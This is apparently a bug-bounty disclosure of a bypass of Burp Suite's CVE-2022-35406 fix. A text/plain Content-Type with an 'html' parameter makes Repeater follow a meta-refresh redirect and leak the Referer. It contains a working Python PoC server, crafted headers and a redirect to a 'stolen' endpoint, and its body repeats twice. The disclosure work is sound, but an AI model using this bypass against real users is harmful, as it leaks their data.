4.3
/ 10
MEDIUM
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
Description
The fix for CVE-2022-35406 (#1541301) stops Burp from following a <meta http-equiv="refresh"> redirect when the response Content-Type/Content-Disposition would prevent HTML rendering. The check substring-matches html in the raw Content-Type instead of parsing the media type. A text/plain response can smuggle the token via a parameter (e.g. Content-Type: text/plain; x=html), and Burp again offers and follows the meta redirect reintroducing the patched behaviour.
## Root cause
The content-type guard searches for the substring html in the raw header value rather than parsing the media type and discarding parameters. Any html token in a parameter name, value, quoted or not satisfies the check while the real MIME type stays text/plain.
### Steps to reproduce
1. server.py
```
#!/usr/bin/env python3
from http.server import BaseHTTPRequestHandler, HTTPServer
META = ('<html><head><meta http-equiv="refresh" '
'content="0;url=http://127.0.0.1:9000/stolen"></head><body>x</body></html>')
CASES = {
"/ct_plain": "text/plain", # control: blocked
"/ct_param_plain": "text/plain; x=hello", # control: blocked (no 'html')
"/ct_param_html": "text/plain; x=html", # BYPASS: followed
"/ct_texthtml": "text/plain; x=text/html", # BYPASS: followed
"/ct_quoted": 'text/plain; x="text/html"', # BYPASS: followed
}
class H(BaseHTTPRequestHandler):
protocol_version = "HTTP/1.1"
def log_message(self, *a): pass
def do_GET(self):
ct = CASES.get(self.path)
if ct is None:
self.send_response(404); self.send_header("Content-Length","0")
self.send_header("Connection","close"); self.end_headers(); return
b = META.encode()
self.send_response(200)
self.send_header("Content-Type", ct)
self.send_header("Content-Length", str(len(b)))
self.send_header("Connection", "close")
self.end_headers()
try: self.wfile.write(b)
except BrokenPipeError: pass
self.close_connection = True
if __name__ == "__main__":
print("PoC server on http://127.0.0.1:8000")
HTTPServer(("127.0.0.1", 8000), H).serve_forever()
```
2. Run
`` python3 server.py ``
3. In Repeater (HTTP/1), send this request:
```
GET /ct_param_html HTTP/1.1
Host: 127.0.0.1:8000
Referer: http://127.0.0.1:8000/secret-page
Connection: close
```
4. The response is Content-Type: text/plain (with a bogus ; x=html parameter) containing a <meta http-equiv="refresh"> redirect. Despite the non-renderable text/plain type, the Follow redirection button appears.
5. Click Follow redirection → Burp follows the meta redirect and issues the request to the redirect target, sending the Referer header.
6. (Control) Repeat with GET /ct_param_plain (text/plain; x=hello, no html token) → no Follow redirection button, not followed. This confirms the html substring is what triggers the bypass.
Click Follow redirection:
POC
{F6021058}
It discloses the referer header
## Impact
A text/plain response that should be treated as non-renderable is again interpreted as a redirect in Repeater/Intruder, re-enabling the meta-redirect follow that CVE-2022-35406 patched.
## Root cause
The content-type guard searches for the substring html in the raw header value rather than parsing the media type and discarding parameters. Any html token in a parameter name, value, quoted or not satisfies the check while the real MIME type stays text/plain.
### Steps to reproduce
1. server.py
```
#!/usr/bin/env python3
from http.server import BaseHTTPRequestHandler, HTTPServer
META = ('<html><head><meta http-equiv="refresh" '
'content="0;url=http://127.0.0.1:9000/stolen"></head><body>x</body></html>')
CASES = {
"/ct_plain": "text/plain", # control: blocked
"/ct_param_plain": "text/plain; x=hello", # control: blocked (no 'html')
"/ct_param_html": "text/plain; x=html", # BYPASS: followed
"/ct_texthtml": "text/plain; x=text/html", # BYPASS: followed
"/ct_quoted": 'text/plain; x="text/html"', # BYPASS: followed
}
class H(BaseHTTPRequestHandler):
protocol_version = "HTTP/1.1"
def log_message(self, *a): pass
def do_GET(self):
ct = CASES.get(self.path)
if ct is None:
self.send_response(404); self.send_header("Content-Length","0")
self.send_header("Connection","close"); self.end_headers(); return
b = META.encode()
self.send_response(200)
self.send_header("Content-Type", ct)
self.send_header("Content-Length", str(len(b)))
self.send_header("Connection", "close")
self.end_headers()
try: self.wfile.write(b)
except BrokenPipeError: pass
self.close_connection = True
if __name__ == "__main__":
print("PoC server on http://127.0.0.1:8000")
HTTPServer(("127.0.0.1", 8000), H).serve_forever()
```
2. Run
`` python3 server.py ``
3. In Repeater (HTTP/1), send this request:
```
GET /ct_param_html HTTP/1.1
Host: 127.0.0.1:8000
Referer: http://127.0.0.1:8000/secret-page
Connection: close
```
4. The response is Content-Type: text/plain (with a bogus ; x=html parameter) containing a <meta http-equiv="refresh"> redirect. Despite the non-renderable text/plain type, the Follow redirection button appears.
5. Click Follow redirection → Burp follows the meta redirect and issues the request to the redirect target, sending the Referer header.
6. (Control) Repeat with GET /ct_param_plain (text/plain; x=hello, no html token) → no Follow redirection button, not followed. This confirms the html substring is what triggers the bypass.
Click Follow redirection:
POC
{F6021058}
It discloses the referer header
## Impact
A text/plain response that should be treated as non-renderable is again interpreted as a redirect in Repeater/Intruder, re-enabling the meta-redirect follow that CVE-2022-35406 patched.
Basic Information
ID
H1:3775183
Published
Jun 1, 2026 at 17:41
Modified
Jun 2, 2026 at 15:02